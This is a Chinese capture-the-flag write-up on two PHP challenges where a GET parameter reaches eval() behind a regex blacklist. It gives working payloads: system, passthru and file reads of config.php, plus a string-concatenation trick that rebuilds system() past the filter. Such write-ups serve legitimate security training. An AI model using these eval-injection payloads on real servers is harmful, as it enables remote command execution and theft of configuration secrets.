阿呆在埃塞俄比亚终于找了一个网管的工作,闲暇时还能种点菜。
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
可以get传参,且传入的参数需要正则匹配system、exec、highlight,且不区分大小写,eval()可以远程执行命令。
尝试传入参数c=system('ls');
;
阿呆看见对面二黑急冲冲的跑过来,告诉阿呆出大事了,阿呆问什么事,二黑说:这几天天旱,你菜死了!
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>
可以get传参,且传入的参数不能正则匹配system、exec、highlight,且不区分大小写,eval()可以远程执行命令。
尝试传入参数c=passthru('tac con*');
还可以:
c=show_source('config.php');
c=echo file_get_contents('config.php');
注意:show_souce()、file_get_contents(),需要传入文件全名称,不可用通配符来匹配了。
show_souce()会将文件以html输出到浏览器;file_get_contents()读取文件内容,并以字符串返回,所以需要echo来显示出来。
尝试传入c=$a='sys';$b='tem';$d=$a.$b;$d('tac con');,即传入的参数在进行正则匹配验证时,可以通过,且这多条php语句在eval()中可以顺次执行,最终拼装成了system('tac con');。